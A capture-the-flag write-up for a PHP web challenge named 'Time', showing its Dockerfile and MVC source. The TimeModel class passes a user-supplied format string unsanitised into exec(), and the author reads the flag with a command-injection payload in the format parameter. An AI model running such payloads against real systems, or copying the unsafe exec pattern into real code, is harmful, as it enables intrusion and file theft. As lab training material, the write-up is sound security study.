Time

Challenge: Time

Category: Web

Get the current date and time, anytime, anywhere!

I notice that it changed when I click the What’s the date? menu.

Since it's a web challenge, I thought of a possible code injection vulnerability.

They provided a source code:

web_time
├── build_docker.sh
├── challenge
│   ├── assets
│   │   └── favicon.png
│   ├── controllers
│   │   └── TimeController.php
│   ├── index.php
│   ├── models
│   │   └── TimeModel.php
│   ├── Router.php
│   ├── static
│   │   └── main.css
│   └── views
│       └── index.php
├── config
│   ├── fpm.conf
│   ├── nginx.conf
│   └── supervisord.conf
├── Dockerfile
└── flag

First, I checked the directory structure, so it's MVC since we have controller, model, and views folders. Second, I checked the Dockerfile and build it inside my machine, and examine what is the docker image, command used and where’s the flag located.

FROM debian:buster-slim

# Setup user
RUN useradd www

# Install system packeges
RUN apt-get update && apt-get install -y supervisor nginx lsb-release wget

# Add repos
RUN wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
RUN echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list

# Install PHP dependencies
RUN apt update && apt install -y php7.4-fpm

# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php/7.4/fpm/php-fpm.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf

# Copy challenge files
COPY challenge /www

# Setup permissions
RUN chown -R www:www /www /var/lib/nginx

# Copy flag
COPY flag /flag

# Expose the port nginx is listening on
EXPOSE 80

# Populate database and start supervisord
CMD /usr/bin/supervisord -c /etc/supervisord.conf

I found that the flag is located in /flag path, but they provided a sample flag inside their source code:

Next is I checked controllers/TimeController.php

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

This indicated that the Controller called/created the object TimeModel, so I checked the models/TimeModel.php

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

I found $this->command = “date ‘+” . $format . “‘ 2>&1”;

This means that we need to inject command (command injection vulnerability) We can break out the string by adding a single quote (‘) and add a semi-colon(;)

I make an easy request using Burpsuite:

/?format='; cat ' ../flag

Gotcha, I found a flag!!!